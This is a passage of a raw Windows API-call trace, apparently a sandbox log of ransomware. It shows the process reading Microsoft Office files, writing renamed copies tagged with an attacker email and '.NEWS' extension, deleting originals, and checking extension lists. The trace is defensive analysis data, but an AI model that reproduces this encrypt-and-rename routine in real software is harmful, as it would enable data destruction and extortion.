Edge.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0172.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0172.750] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.750] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0172.751] GetLastError () returned 0x0 [0172.751] ReadFile (in: hFile=0x518, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0xd44b, lpOverlapped=0x0) returned 1 [0172.755] WriteFile (in: hFile=0x4e8, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0xd450, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0xd450, lpOverlapped=0x0) returned 1 [0172.757] ReadFile (in: hFile=0x518, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.758] WriteFile (in: hFile=0x4e8, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0xf0, lpOverlapped=0x0) returned 1 [0172.758] SetEndOfFile (hFile=0x4e8) returned 1 [0172.758] CloseHandle (hObject=0x4e8) returned 1 [0172.758] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.758] SetEndOfFile (hFile=0x518) returned 1 [0172.762] CloseHandle (hObject=0x518) returned 1 [0172.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0172.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 1 [0172.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0172.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0172.764] lstrlenW (lpString=".doc") returned 4 [0172.764] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0172.764] lstrlenW (lpString=".docx") returned 5 [0172.764] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0172.764] lstrlenW (lpString=".pdf") returned 4 [0172.764] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0172.764] lstrlenW (lpString=".xls") returned 4 [0172.765] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0172.765] lstrlenW (lpString=".xlsx") returned 5 [0172.765] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0172.765] lstrlenW (lpString=".ppt") returned 4 [0172.765] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0172.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0172.765] lstrlenW (lpString=".zip") returned 4 [0172.765] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0172.765] lstrlenW (lpString=".rar") returned 4 [0172.765] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0172.765] lstrlenW (lpString=".bz2") returned 4 [0172.765] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0172.765] lstrlenW (lpString=".7z") returned 3 [0172.765] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0172.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0172.765] lstrlenW (lpString=".dbf") returned 4 [0172.765] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0172.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0172.765] lstrlenW (lpString=".1cd") returned 4 [0172.765] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0172.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0172.765] lstrlenW (lpString=".jpg") returned 4 [0172.765] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0172.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0172.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0172.766] lstrlenW (lpString=".doc") returned 4 [0172.766] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0172.766] lstrlenW (lpString=".docx") returned 5 [0172.766] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0172.766] lstrlenW (lpString=".pdf") returned 4 [0172.766] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0172.766] lstrlenW (lpString=".xls") returned 4 [0172.766] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0172.766] lstrlenW (lpString=".xlsx") returned 5 [0172.766] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0172.766] lstrlenW (lpString=".ppt") returned 4 [0172.766] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0172.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0172.766] lstrlenW (lpString=".zip") returned 4 [0172.766] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0172.766] lstrlenW (lpString=".rar") returned 4 [0172.766] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0172.766] lstrlenW (lpString=".bz2") returned 4 [0172.766] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0172.766] lstrlenW (lpString=".7z") returned 3 [0172.766] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0172.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0172.766] lstrlenW (lpString=".dbf") returned 4 [0172.766] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0172.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0172.766] lstrlenW (lpString=".1cd") returned 4 [0172.767] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0172.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0172.767] lstrlenW (lpString=".jpg") returned 4 [0172.767] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0172.767] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0172.767] lstrlenW (lpString="Grunge Texture.eftx") returned 19 [0172.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0172.768] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=352776) returned 1 [0172.768] CloseHandle (hObject=0x518) returned 1 [0172.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 0x220 [0172.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0172.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0172.769] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.769] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0172.770] GetLastError () returned 0x0 [0172.770] ReadFile (in: hFile=0x518, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x56208, lpOverlapped=0x0) returned 1 [0173.187] WriteFile (in: hFile=0x4e8, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x56210, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x56210, lpOverlapped=0x0) returned 1 [0173.195] ReadFile (in: hFile=0x518, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0173.195] WriteFile (in: hFile=0x4e8, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0xfa, lpOverlapped=0x0) returned 1 [0173.196] SetEndOfFile (hFile=0x4e8) returned 1 [0173.196] CloseHandle (hObject=0x4e8) returned 1 [0173.196] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.196] SetEndOfFile (hFile=0x518) returned 1 [0173.209] CloseHandle (hObject=0x518) returned 1 [0173.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0173.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 1 [0173.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0173.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0173.958] lstrlenW (lpString=".doc") returned 4 [0173.958] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0173.958] lstrlenW (lpString=".docx") returned 5 [0173.958] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0173.958] lstrlenW (lpString=".pdf") returned 4 [0173.958] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0173.958] lstrlenW (lpString=".xls") returned 4 [0173.958] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0173.958] lstrlenW (lpString=".xlsx") returned 5 [0173.958] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0173.958] lstrlenW (lpString=".ppt") returned 4 [0173.959] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0173.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0173.959] lstrlenW (lpString=".zip") returned 4 [0173.959] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0173.959] lstrlenW (lpString=".rar") returned 4 [0173.959] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0173.959] lstrlenW (lpString=".bz2") returned 4 [0173.959] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0173.959] lstrlenW (lpString=".7z") returned 3 [0173.959] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0173.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0173.959] lstrlenW (lpString=".dbf") returned 4 [0173.959] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0173.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0173.959] lstrlenW (lpString=".1cd") returned 4 [0173.959] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0173.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0173.959] lstrlenW (lpString=".jpg") returned 4 [0173.959] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0173.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0173.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0173.959] lstrlenW (lpString=".doc") returned 4 [0173.959] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0173.959] lstrlenW (lpString=".docx") returned 5 [0173.959] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0173.959] lstrlenW (lpString=".pdf") returned 4 [0173.959] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0173.959] lstrlenW (lpString=".xls") returned 4 [0173.959] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0173.959] lstrlenW (lpString=".xlsx") returned 5 [0173.959] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0173.959] lstrlenW (lpString=".ppt") returned 4 [0173.959] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0173.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0173.960] lstrlenW (lpString=".zip") returned 4 [0173.960] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0173.960] lstrlenW (lpString=".rar") returned 4 [0173.960] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0173.960] lstrlenW (lpString=".bz2") returned 4 [0173.960] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0173.960] lstrlenW (lpString=".7z") returned 3 [0173.960] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0173.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0173.960] lstrlenW (lpString=".dbf") returned 4 [0173.960] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0173.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0173.960] lstrlenW (lpString=".1cd") returned 4 [0173.960] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0173.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0173.960] lstrlenW (lpString=".jpg") returned 4 [0173.960] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0173.960] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0173.960] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0173.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0173.961] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=18624) returned 1 [0173.961] CloseHandle (hObject=0x36c) returned 1 [0173.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220 [0173.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0174.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0174.178] lstrlenW (lpString=".doc") returned 4 [0174.178] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.178] lstrlenW (lpString=".docx") returned 5 [0174.178] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.178] lstrlenW (lpString=".pdf") returned 4 [0174.178] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.178] lstrlenW (lpString=".xls") returned 4 [0174.178] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.179] lstrlenW (lpString=".xlsx") returned 5 [0174.179] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.179] lstrlenW (lpString=".ppt") returned 4 [0174.179] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0174.179] lstrlenW (lpString=".zip") returned 4 [0174.179] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.179] lstrlenW (lpString=".rar") returned 4 [0174.179] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.179] lstrlenW (lpString=".bz2") returned 4 [0174.179] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.179] lstrlenW (lpString=".7z") returned 3 [0174.179] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0174.179] lstrlenW (lpString=".dbf") returned 4 [0174.179] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0174.179] lstrlenW (lpString=".1cd") returned 4 [0174.179] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0174.179] lstrlenW (lpString=".jpg") returned 4 [0174.179] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0174.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0174.179] lstrlenW (lpString=".doc") returned 4 [0174.179] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.179] lstrlenW (lpString=".docx") returned 5 [0174.179] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.179] lstrlenW (lpString=".pdf") returned 4 [0174.180] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.180] lstrlenW (lpString=".xls") returned 4 [0174.180] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.180] lstrlenW (lpString=".xlsx") returned 5 [0174.180] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.180] lstrlenW (lpString=".ppt") returned 4 [0174.180] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0174.180] lstrlenW (lpString=".zip") returned 4 [0174.180] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.180] lstrlenW (lpString=".rar") returned 4 [0174.180] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.180] lstrlenW (lpString=".bz2") returned 4 [0174.180] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.180] lstrlenW (lpString=".7z") returned 3 [0174.180] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0174.180] lstrlenW (lpString=".dbf") returned 4 [0174.180] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0174.180] lstrlenW (lpString=".1cd") returned 4 [0174.180] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0174.180] lstrlenW (lpString=".jpg") returned 4 [0174.180] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.180] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0174.180] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31 [0174.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0174.184] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=19648) returned 1 [0174.184] CloseHandle (hObject=0x4f0) returned 1 [0174.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x220 [0174.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0174.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0174.185] lstrlenW (lpString=".doc") returned 4 [0174.185] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.185] lstrlenW (lpString=".docx") returned 5 [0174.185] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.185] lstrlenW (lpString=".pdf") returned 4 [0174.185] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.185] lstrlenW (lpString=".xls") returned 4 [0174.185] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.185] lstrlenW (lpString=".xlsx") returned 5 [0174.185] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.185] lstrlenW (lpString=".ppt") returned 4 [0174.185] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0174.185] lstrlenW (lpString=".zip") returned 4 [0174.185] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.185] lstrlenW (lpString=".rar") returned 4 [0174.185] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.185] lstrlenW (lpString=".bz2") returned 4 [0174.185] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.185] lstrlenW (lpString=".7z") returned 3 [0174.185] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0174.186] lstrlenW (lpString=".dbf") returned 4 [0174.186] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0174.186] lstrlenW (lpString=".1cd") returned 4 [0174.186] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.186] lstrlenW (lpString="C:\\Program Files\\Microsoft 